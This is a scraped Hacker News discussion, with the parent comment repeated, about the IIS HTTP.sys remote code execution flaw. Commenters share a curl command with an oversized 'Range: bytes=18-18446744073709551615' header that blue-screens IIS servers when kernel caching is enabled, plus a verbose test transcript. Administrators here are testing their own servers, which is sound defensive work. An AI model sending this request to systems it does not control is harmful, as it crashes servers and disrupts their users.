<story><title>Remote Kernel Code Execution Via HTTP Request In IIS On Windows</title><url>https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/?hn</url></story><parent_chain><item><author>Khao</author><text>I tried to send the bad curl request to our servers (test env, obviously) and I didn&amp;#x27;t get any error. It seems I should be getting &amp;quot;Requested Range Not Satisfiable&amp;quot; if the server is vulnerable and &amp;quot;The request has an invalid header name&amp;quot; if it&amp;#x27;s patched. I&amp;#x27;m getting neither, simply a normal response HTTP 200 with the requested page. Anyone knows how to really test it?&lt;p&gt;EDIT : It is indeed related to &amp;quot;Output Cache&amp;quot; setting in IIS as I said I was suspecting in another comment. I managed to crash our servers by going to IIS Management, select the website I wanted to test, go to Output Caching, enable the feature AND also add a rule (I added a rule for .png just to test). If you have NO rules it is the same as having the feature disabled so you are safe. If you add a rule and check &amp;quot;Enable Kernal Caching&amp;quot; you are vulnerable!&lt;p&gt;EDIT 2 : As some have asked, this is the command I used to crash our test server. I tested it after having created a new Output Caching rule to cache all .png files in kernel mode.&lt;p&gt;curl -v &lt;a href=&quot;http:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;image.png&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;image.png&lt;/a&gt; -H &amp;quot;Range: bytes=18-18446744073709551615&amp;quot;&lt;p&gt;I didn&amp;#x27;t take a screenshot of the BSOD and I don&amp;#x27;t plan on crashing our test env a second time today because people are using it (I tested it early enough that not a lot of people were at the office yet).</text></item></parent_chain><comment><author>cbrevik</author><text>I just crashed a 2008 R2 server without a rule, just with &amp;quot;Enable Kernel Caching&amp;quot;. 
Not sure if it is relevant, but I first added a rule for .png, and then removed it again. Still worked.</text></comment>
<story><title>Remote Kernel Code Execution Via HTTP Request In IIS On Windows</title><url>https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/?hn</url></story><parent_chain><item><author>Khao</author><text>I tried to send the bad curl request to our servers (test env, obviously) and I didn&amp;#x27;t get any error. It seems I should be getting &amp;quot;Requested Range Not Satisfiable&amp;quot; if the server is vulnerable and &amp;quot;The request has an invalid header name&amp;quot; if it&amp;#x27;s patched. I&amp;#x27;m getting neither, simply a normal response HTTP 200 with the requested page. Anyone knows how to really test it?&lt;p&gt;EDIT : It is indeed related to &amp;quot;Output Cache&amp;quot; setting in IIS as I said I was suspecting in another comment. I managed to crash our servers by going to IIS Management, select the website I wanted to test, go to Output Caching, enable the feature AND also add a rule (I added a rule for .png just to test). If you have NO rules it is the same as having the feature disabled so you are safe. If you add a rule and check &amp;quot;Enable Kernal Caching&amp;quot; you are vulnerable!&lt;p&gt;EDIT 2 : As some have asked, this is the command I used to crash our test server. I tested it after having created a new Output Caching rule to cache all .png files in kernel mode.&lt;p&gt;curl -v &lt;a href=&quot;http:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;image.png&quot; rel=&quot;nofollow&quot;&gt;http:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;image.png&lt;/a&gt; -H &amp;quot;Range: bytes=18-18446744073709551615&amp;quot;&lt;p&gt;I didn&amp;#x27;t take a screenshot of the BSOD and I don&amp;#x27;t plan on crashing our test env a second time today because people are using it (I tested it early enough that not a lot of people were at the office yet).</text></item></parent_chain><comment><author>amarraja</author><text>Have tried on all our production facing domains (with and without CDN and get 200 responses also.&lt;p&gt;One server (our development server) has proven vulnerable. Maybe reverse proxies are sanitizing the results?&lt;p&gt;&lt;pre&gt;&lt;code&gt;    $ curl -v 10.100.0.40&amp;#x2F; -H &amp;quot;Host: irrelevant&amp;quot; -H &amp;quot;Range: bytes=0-18446744073709551615&amp;quot;
    * About to connect() to 10.100.0.40 port 80 (#0)
    *   Trying 10.100.0.40...
    * Adding handle: conn: 0x1d83278
    * Adding handle: send: 0
    * Adding handle: recv: 0
    * Curl_addHandleToPipeline: length: 1
    * - Conn 0 (0x1d83278) send_pipe: 1, recv_pipe: 0
    * Connected to 10.100.0.40 (10.100.0.40) port 80 (#0)
    &amp;gt; GET &amp;#x2F; HTTP&amp;#x2F;1.1
    &amp;gt; User-Agent: curl&amp;#x2F;7.30.0
    &amp;gt; Accept: *&amp;#x2F;*
    &amp;gt; Host: irrelevant
    &amp;gt; Range: bytes=0-18446744073709551615
    &amp;gt;
    &amp;lt; HTTP&amp;#x2F;1.1 416 Requested Range Not Satisfiable
    &amp;lt; Content-Type: text&amp;#x2F;html
    &amp;lt; Last-Modified: Wed, 27 Aug 2014 14:56:23 GMT
    &amp;lt; Accept-Ranges: bytes
    &amp;lt; ETag: &amp;quot;885fe5117c2cf1:0&amp;quot;
    * Server Microsoft-IIS&amp;#x2F;7.5 is not blacklisted
    &amp;lt; Server: Microsoft-IIS&amp;#x2F;7.5&lt;/code&gt;&lt;/pre&gt;</text></comment>